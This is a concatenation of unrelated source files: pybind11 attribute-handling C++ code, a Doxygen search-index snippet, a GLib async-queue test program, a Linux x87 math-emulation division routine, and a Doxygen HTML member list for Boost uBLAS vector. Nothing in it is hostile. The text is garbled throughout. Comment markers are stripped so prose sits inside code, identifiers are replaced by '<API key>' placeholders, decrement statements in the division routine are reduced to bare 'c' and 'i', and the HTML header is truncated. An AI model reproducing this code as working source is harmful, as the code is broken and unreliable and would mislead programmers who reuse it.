Override pybind11's default metaclass
explicit metaclass(handle value) : value(value) { }
};
Annotation to mark enums as an arithmetic type
struct arithmetic { };
/** \rst
A call policy which places one or more guard variables (``Ts...``) around the function call.
For example, this definition:
.. code-block:: cpp
m.def("foo", foo, py::call_guard<T>());
is equivalent to the following pseudocode:
.. code-block:: cpp
m.def("foo", [](args...) {
T scope_guard;
return foo(args...); // forwarded arguments
});
\endrst */
template <typename... Ts> struct call_guard;
template <> struct call_guard<> { using type = detail::void_type; };
template <typename T>
struct call_guard<T> {
static_assert(std::<API key><T>::value,
"The guard type must be default constructible");
using type = T;
};
template <typename T, typename... Ts>
struct call_guard<T, Ts...> {
struct type {
T guard{}; // Compose multiple guard types with left-to-right default-constructor order
typename call_guard<Ts...>::type next{};
};
};
@} annotations
NAMESPACE_BEGIN(detail)
/* Forward declarations */
enum op_id : int;
enum op_type : int;
struct undefined_t;
template <op_id id, op_type ot, typename L = undefined_t, typename R = undefined_t> struct op_;
template <typename... Args> struct init;
template <typename... Args> struct init_alias;
inline void keep_alive_impl(size_t Nurse, size_t Patient, function_call &call, handle ret);
Internal data structure which holds metadata about a keyword argument
struct argument_record {
const char *name; ///< Argument name
const char *descr; ///< Human-readable version of the argument value
handle value; ///< Associated Python object
bool convert : 1; ///< True if the argument is allowed to convert when loading
bool none : 1; ///< True if None is allowed when loading
argument_record(const char *name, const char *descr, handle value, bool convert, bool none)
: name(name), descr(descr), value(value), convert(convert), none(none) { }
};
Internal data structure which holds metadata about a bound function (signature, overloads, etc.)
struct function_record {
function_record()
: is_constructor(false), is_stateless(false), is_operator(false),
has_args(false), has_kwargs(false), is_method(false) { }
Function name
char *name = nullptr; /* why no C++ strings? They generate heavier code.. */
// User-specified documentation string
char *doc = nullptr;
Human-readable version of the function signature
char *signature = nullptr;
List of registered keyword arguments
std::vector<argument_record> args;
Pointer to lambda function which converts arguments and performs the actual call
handle (*impl) (function_call &) = nullptr;
Storage for the wrapped function pointer and captured data, if any
void *data[3] = { };
Pointer to custom destructor for 'data' (if needed)
void (*free_data) (function_record *ptr) = nullptr;
Return value policy associated with this function
return_value_policy policy = return_value_policy::automatic;
True if name == '__init__'
bool is_constructor : 1;
True if this is a stateless function pointer
bool is_stateless : 1;
True if this is an operator (__add__), etc.
bool is_operator : 1;
True if the function has a '*args' argument
bool has_args : 1;
True if the function has a '**kwargs' argument
bool has_kwargs : 1;
True if this is a method
bool is_method : 1;
Number of arguments (including py::args and/or py::kwargs, if present)
std::uint16_t nargs;
Python method object
PyMethodDef *def = nullptr;
Python handle to the parent scope (a class or a module)
handle scope;
Python handle to the sibling function representing an overload chain
handle sibling;
Pointer to next overload
function_record *next = nullptr;
};
Special data structure which (temporarily) holds metadata about a bound class
struct type_record {
PYBIND11_NOINLINE type_record()
: <API key>(false), dynamic_attr(false), buffer_protocol(false) { }
Handle to the parent scope
handle scope;
Name of the class
const char *name = nullptr;
// Pointer to RTTI type_info data structure
const std::type_info *type = nullptr;
How large is the underlying C++ type?
size_t type_size = 0;
How large is the type's holder?
size_t holder_size = 0;
The global operator new can be overridden with a class-specific variant
void *(*operator_new)(size_t) = ::operator new;
Function pointer to class_<..>::init_instance
void (*init_instance)(instance *, const void *) = nullptr;
Function pointer to class_<..>::dealloc
void (*dealloc)(const detail::value_and_holder &) = nullptr;
List of base classes of the newly created type
list bases;
Optional docstring
const char *doc = nullptr;
Custom metaclass (optional)
handle metaclass;
Multiple inheritance marker
bool <API key> : 1;
Does the class manage a __dict__?
bool dynamic_attr : 1;
Does the class implement the buffer protocol?
bool buffer_protocol : 1;
Is the default (unique_ptr) holder type used?
bool default_holder : 1;
PYBIND11_NOINLINE void add_base(const std::type_info &base, void *(*caster)(void *)) {
auto base_info = detail::get_type_info(base, false);
if (!base_info) {
std::string tname(base.name());
detail::clean_type_id(tname);
pybind11_fail("generic_type: type \"" + std::string(name) +
"\" referenced unknown base type \"" + tname + "\"");
}
if (default_holder != base_info->default_holder) {
std::string tname(base.name());
detail::clean_type_id(tname);
pybind11_fail("generic_type: type \"" + std::string(name) + "\" " +
(default_holder ? "does not have" : "has") +
" a non-default holder type while its base \"" + tname + "\" " +
(base_info->default_holder ? "does not" : "does"));
}
bases.append((PyObject *) base_info->type);
if (base_info->type->tp_dictoffset != 0)
dynamic_attr = true;
if (caster)
base_info->implicit_casts.emplace_back(type, caster);
}
};
inline function_call::function_call(function_record &f, handle p) :
func(f), parent(p) {
args.reserve(f.nargs);
args_convert.reserve(f.nargs);
}
/**
* Partial template specializations to process custom attributes provided to
* cpp_function_ and class_. These are either used to initialize the respective
* fields in the type_record and function_record data structures or executed at
* runtime to deal with custom call policies (e.g. keep_alive).
*/
template <typename T, typename SFINAE = void> struct process_attribute;
template <typename T> struct <API key> {
Default implementation: do nothing
static void init(const T &, function_record *) { }
static void init(const T &, type_record *) { }
static void precall(function_call &) { }
static void postcall(function_call &, handle) { }
};
Process an attribute specifying the function's name
template <> struct process_attribute<name> : <API key><name> {
static void init(const name &n, function_record *r) { r->name = const_cast<char *>(n.value); }
};
Process an attribute specifying the function's docstring
template <> struct process_attribute<doc> : <API key><doc> {
static void init(const doc &n, function_record *r) { r->doc = const_cast<char *>(n.value); }
};
Process an attribute specifying the function's docstring (provided as a C-style string)
template <> struct process_attribute<const char *> : <API key><const char *> {
static void init(const char *d, function_record *r) { r->doc = const_cast<char *>(d); }
static void init(const char *d, type_record *r) { r->doc = const_cast<char *>(d); }
};
template <> struct process_attribute<char *> : process_attribute<const char *> { };
Process an attribute indicating the function's return value policy
template <> struct process_attribute<return_value_policy> : <API key><return_value_policy> {
static void init(const return_value_policy &p, function_record *r) { r->policy = p; }
};
Process an attribute which indicates that this is an overloaded function associated with a given sibling
template <> struct process_attribute<sibling> : <API key><sibling> {
static void init(const sibling &s, function_record *r) { r->sibling = s.value; }
};
Process an attribute which indicates that this function is a method
template <> struct process_attribute<is_method> : <API key><is_method> {
static void init(const is_method &s, function_record *r) { r->is_method = true; r->scope = s.class_; }
};
Process an attribute which indicates the parent scope of a method
template <> struct process_attribute<scope> : <API key><scope> {
static void init(const scope &s, function_record *r) { r->scope = s.value; }
};
Process an attribute which indicates that this function is an operator
template <> struct process_attribute<is_operator> : <API key><is_operator> {
static void init(const is_operator &, function_record *r) { r->is_operator = true; }
};
Process a keyword argument attribute (*without* a default value)
template <> struct process_attribute<arg> : <API key><arg> {
static void init(const arg &a, function_record *r) {
if (r->is_method && r->args.empty())
r->args.emplace_back("self", nullptr, handle(), true /*convert*/, false /*none not allowed*/);
r->args.emplace_back(a.name, nullptr, handle(), !a.flag_noconvert, a.flag_none);
}
};
Process a keyword argument attribute (*with* a default value)
template <> struct process_attribute<arg_v> : <API key><arg_v> {
static void init(const arg_v &a, function_record *r) {
if (r->is_method && r->args.empty())
r->args.emplace_back("self", nullptr /*descr*/, handle() /*parent*/, true /*convert*/, false /*none not allowed*/);
if (!a.value) {
#if !defined(NDEBUG)
std::string descr("'");
if (a.name) descr += std::string(a.name) + ": ";
descr += a.type + "'";
if (r->is_method) {
if (r->name)
descr += " in method '" + (std::string) str(r->scope) + "." + (std::string) r->name + "'";
else
descr += " in method of '" + (std::string) str(r->scope) + "'";
} else if (r->name) {
descr += " in function '" + (std::string) r->name + "'";
}
pybind11_fail("arg(): could not convert default argument "
+ descr + " into a Python object (type not registered yet?)");
#else
pybind11_fail("arg(): could not convert default argument "
"into a Python object (type not registered yet?). "
"Compile in debug mode for more information.");
#endif
}
r->args.emplace_back(a.name, a.descr, a.value.inc_ref(), !a.flag_noconvert, a.flag_none);
}
};
Process a parent class attribute. Single inheritance only (class_ itself already guarantees that)
template <typename T>
struct process_attribute<T, enable_if_t<is_pyobject<T>::value>> : <API key><handle> {
static void init(const handle &h, type_record *r) { r->bases.append(h); }
};
Process a parent class attribute (deprecated, does not support multiple inheritance)
template <typename T>
struct process_attribute<base<T>> : <API key><base<T>> {
static void init(const base<T> &, type_record *r) { r->add_base(typeid(T), nullptr); }
};
Process a multiple inheritance attribute
template <>
struct process_attribute<<API key>> : <API key><<API key>> {
static void init(const <API key> &, type_record *r) { r-><API key> = true; }
};
template <>
struct process_attribute<dynamic_attr> : <API key><dynamic_attr> {
static void init(const dynamic_attr &, type_record *r) { r->dynamic_attr = true; }
};
template <>
struct process_attribute<buffer_protocol> : <API key><buffer_protocol> {
static void init(const buffer_protocol &, type_record *r) { r->buffer_protocol = true; }
};
template <>
struct process_attribute<metaclass> : <API key><metaclass> {
static void init(const metaclass &m, type_record *r) { r->metaclass = m.value; }
};
Process an 'arithmetic' attribute for enums (does nothing here)
template <>
struct process_attribute<arithmetic> : <API key><arithmetic> {};
template <typename... Ts>
struct process_attribute<call_guard<Ts...>> : <API key><call_guard<Ts...>> { };
/**
* Process a keep_alive call policy -- invokes keep_alive_impl during the
* pre-call handler if both Nurse, Patient != 0 and use the post-call handler
* otherwise
*/
template <size_t Nurse, size_t Patient> struct process_attribute<keep_alive<Nurse, Patient>> : public <API key><keep_alive<Nurse, Patient>> {
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N != 0 && P != 0, int> = 0>
static void precall(function_call &call) { keep_alive_impl(Nurse, Patient, call, handle()); }
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N != 0 && P != 0, int> = 0>
static void postcall(function_call &, handle) { }
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N == 0 || P == 0, int> = 0>
static void precall(function_call &) { }
template <size_t N = Nurse, size_t P = Patient, enable_if_t<N == 0 || P == 0, int> = 0>
static void postcall(function_call &call, handle ret) { keep_alive_impl(Nurse, Patient, call, ret); }
};
Recursively iterate over variadic template arguments
template <typename... Args> struct process_attributes {
static void init(const Args&... args, function_record *r) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::init(args, r), 0) ... };
ignore_unused(unused);
}
static void init(const Args&... args, type_record *r) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::init(args, r), 0) ... };
ignore_unused(unused);
}
static void precall(function_call &call) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::precall(call), 0) ... };
ignore_unused(unused);
}
static void postcall(function_call &call, handle fn_ret) {
int unused[] = { 0, (process_attribute<typename std::decay<Args>::type>::postcall(call, fn_ret), 0) ... };
ignore_unused(unused);
}
};
template <typename T>
using is_call_guard = is_instantiation<call_guard, T>;
Extract the ``type`` from the first `call_guard` in `Extras...` (or `void_type` if none found)
template <typename... Extra>
using extract_guard_t = typename exactly_one_t<is_call_guard, call_guard<>, Extra...>::type;
Check the number of named arguments at compile time
template <typename... Extra,
size_t named = constexpr_sum(std::is_base_of<arg, Extra>::value...),
size_t self = constexpr_sum(std::is_same<is_method, Extra>::value...)>
constexpr bool expected_num_args(size_t nargs, bool has_args, bool has_kwargs) {
return named == 0 || (self + named + has_args + has_kwargs) == nargs;
}
NAMESPACE_END(detail)
NAMESPACE_END(pybind11)
|
var searchData=
[
['operator_2a',['operator*',['../class_complex.html#<API key>',1,'Complex']]],
['operator_2b',['operator+',['../class_complex.html#<API key>',1,'Complex']]],
['operator_5e',['operator^',['../class_complex.html#<API key>',1,'Complex']]]
];
|
#include <moonshine/async-queue-source.h>
#include <glib.h>
#include <unistd.h>
static guint tag = 0;
void my_free_func(gpointer data)
{
g_print("free: %s\n", ((GString *)data)->str);
g_string_free((GString *)data, TRUE);
}
void my_pool_func(gpointer data, gpointer userdata)
{
static int count = 1;
GAsyncQueue *queue = userdata;
GString *name = data;
GString *msg = g_string_new("");
g_string_printf(msg, "count: %d", count++);
g_print("- %s\n", name->str);
g_string_free(name, TRUE);
g_print("queue: %s\n", msg->str);
g_async_queue_push(queue, msg);
}
gboolean my_queue_func(gpointer data, gpointer userdata)
{
GString *msg = data;
GString *prefix = userdata;
g_print("%s%s\n", prefix->str, msg->str);
g_string_free(msg, TRUE);
return TRUE;
}
gboolean my_start_func(gpointer userdata)
{
GAsyncQueue *queue = <API key>(my_free_func);
GThreadPool *pool = g_thread_pool_new(my_pool_func, g_async_queue_ref(queue), 1, TRUE, NULL);
tag = <API key>(queue, my_queue_func, g_string_new("msg: "), my_free_func);
g_async_queue_unref(queue);
g_thread_pool_push(pool, g_string_new("foo"), NULL);
g_thread_pool_push(pool, g_string_new("bar"), NULL);
g_thread_pool_push(pool, g_string_new("baz"), NULL);
return FALSE;
}
gboolean my_beep_func(gpointer userdata)
{
g_print("beep!\n");
return FALSE;
}
gboolean my_stop_func(gpointer userdata)
{
g_print("stopping...\n");
gboolean rv = g_source_remove(tag);
g_print("g_source_remove(%d): %s\n", tag, rv ? "TRUE" : "FALSE");
return FALSE;
}
int main(int argc, char *argv[])
{
GMainLoop *loop = g_main_loop_new(NULL, FALSE);
g_thread_init(NULL);
g_timeout_add(10, my_start_func, NULL);
//g_timeout_add(1000, my_beep_func, NULL);
//g_timeout_add(5000, my_beep_func, NULL);
g_timeout_add(5000, my_stop_func, NULL);
g_main_loop_run(loop);
return 0;
}
|
/*
* temporary real division routine.
*/
#include <linux/math_emu.h>
static void shift_left(int * c)
{
__asm__ __volatile__("movl (%0),%%eax ; addl %%eax,(%0)\n\t"
"movl 4(%0),%%eax ; adcl %%eax,4(%0)\n\t"
"movl 8(%0),%%eax ; adcl %%eax,8(%0)\n\t"
"movl 12(%0),%%eax ; adcl %%eax,12(%0)"
::"r" ((long) c):"ax");
}
static void shift_right(int * c)
{
__asm__("shrl $1,12(%0) ; rcrl $1,8(%0) ; rcrl $1,4(%0) ; rcrl $1,(%0)"
::"r" ((long) c));
}
static int try_sub(int * a, int * b)
{
char ok;
__asm__ __volatile__("movl (%1),%%eax ; subl %%eax,(%2)\n\t"
"movl 4(%1),%%eax ; sbbl %%eax,4(%2)\n\t"
"movl 8(%1),%%eax ; sbbl %%eax,8(%2)\n\t"
"movl 12(%1),%%eax ; sbbl %%eax,12(%2)\n\t"
"setae %%al":"=a" (ok):"c" ((long) a),"d" ((long) b));
return ok;
}
static void div64(int * a, int * b, int * c)
{
int tmp[4];
int i;
unsigned int mask = 0;
c += 4;
for (i = 0 ; i<64 ; i++) {
if (!(mask >>= 1)) {
c
mask = 0x80000000;
}
tmp[0] = a[0]; tmp[1] = a[1];
tmp[2] = a[2]; tmp[3] = a[3];
if (try_sub(b,tmp)) {
*c |= mask;
a[0] = tmp[0]; a[1] = tmp[1];
a[2] = tmp[2]; a[3] = tmp[3];
}
shift_right(b);
}
}
void fdiv(const temp_real * src1, const temp_real * src2, temp_real * result)
{
int i,sign;
int a[4],b[4],tmp[4] = {0,0,0,0};
sign = (src1->exponent ^ src2->exponent) & 0x8000;
if (!(src2->a || src2->b)) {
set_ZE();
return;
}
i = (src1->exponent & 0x7fff) - (src2->exponent & 0x7fff) + 16383;
if (i<0) {
set_UE();
result->exponent = sign;
result->a = result->b = 0;
return;
}
a[0] = a[1] = 0;
a[2] = src1->a;
a[3] = src1->b;
b[0] = b[1] = 0;
b[2] = src2->a;
b[3] = src2->b;
while (b[3] >= 0) {
i++;
shift_left(b);
}
div64(a,b,tmp);
if (tmp[0] || tmp[1] || tmp[2] || tmp[3]) {
while (i && tmp[3] >= 0) {
i
shift_left(tmp);
}
if (tmp[3] >= 0)
set_DE();
} else
i = 0;
if (i>0x7fff) {
set_OE();
return;
}
if (tmp[0] || tmp[1])
set_PE();
result->exponent = i | sign;
result->a = tmp[2];
result->b = tmp[3];
}
|
<!DOCTYPE html PUBLIC "-
<html xmlns="http:
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<title>ublas: Member List</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<link href="doxygen.css" rel="stylesheet" type="text/css"/>
</head>
<body>
<!-- Generated by Doxygen 1.6.1 -->
<div class="navigation" id="top">
<div class="tabs">
<ul>
<li><a href="index.html"><span>Main Page</span></a></li>
<li><a href="pages.html"><span>Related Pages</span></a></li>
<li class="current"><a href="annotated.html"><span>Classes</span></a></li>
<li><a href="files.html"><span>Files</span></a></li>
</ul>
</div>
<div class="tabs">
<ul>
<li><a href="annotated.html"><span>Class List</span></a></li>
<li><a href="hierarchy.html"><span>Class Hierarchy</span></a></li>
<li><a href="functions.html"><span>Class Members</span></a></li>
</ul>
</div>
</div>
<div class="contents">
<h1>boost::numeric::ublas::vector< T, A > Member List</h1>This is the complete list of members for <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>, including all inherited members.<table>
<tr bgcolor="#f0f0f0"><td><b>array_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">assign</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">assign_temporary</a>(vector &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">begin</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">begin</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">clear</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>closure_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>complexity</b> (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td><code> [static]</code></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_closure_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_pointer</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>const_reference</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b><API key></b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>container_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">data</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">data</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>difference_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">empty</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">end</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">end</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">erase_element</a>(size_type i)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>expression_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector_expression< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector_expression< vector< T, A > ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">find</a>(size_type i) const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">find</a>(size_type i)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">find_element</a>(size_type i)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">find_element</a>(size_type i) const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">insert_element</a>(size_type i, const_reference t)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">max_size</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">minus_assign</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator()</a>(size_type i) const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator()</a>(size_type i)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>operator()</b>() const (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>operator()</b>() (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator*=</a>(const AT &at)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator+=</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator+=</a>(const vector_container< C > &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator-=</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator-=</a>(const vector_container< C > &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator/=</a>(const AT &at)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator=</a>(const vector &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator=</a>(const vector_container< C > &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator=</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator[]</a>(size_type i) const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">operator[]</a>(size_type i)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">plus_assign</a>(const vector_expression< AE > &ae)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>pointer</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">rbegin</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">rbegin</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>reference</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">rend</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">rend</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">resize</a>(size_type size, bool preserve=true)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>reverse_iterator</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">serialize</a>(Archive &ar, const unsigned int)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">size</a>() const </td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>size_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>storage_category</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">swap</a>(vector &v)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">swap</a>(vector &v1, vector &v2)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td><code> [friend]</code></td></tr>
<tr bgcolor="#f0f0f0"><td><b>type_category</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector_container< vector< T, A > ></a></td><td></td></tr>
<tr bgcolor="#f0f0f0"><td><b>ublas_expression</b>() (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::ublas_expression< vector< T, A > ></a></td><td><code> [protected]</code></td></tr>
<tr bgcolor="#f0f0f0"><td><b>value_type</b> typedef (defined in <a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a>)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>()</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>(size_type size)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td><code> [explicit]</code></td></tr>
<tr class="memlist"><td><a class="el" href="<API key>.html#<API key>">vector</a>(size_type size, const array_type &data)</td><td><a class="el" href="<API key>.html">boost::numeric::ublas::vector< T, A ></a></td><td></td></tr>
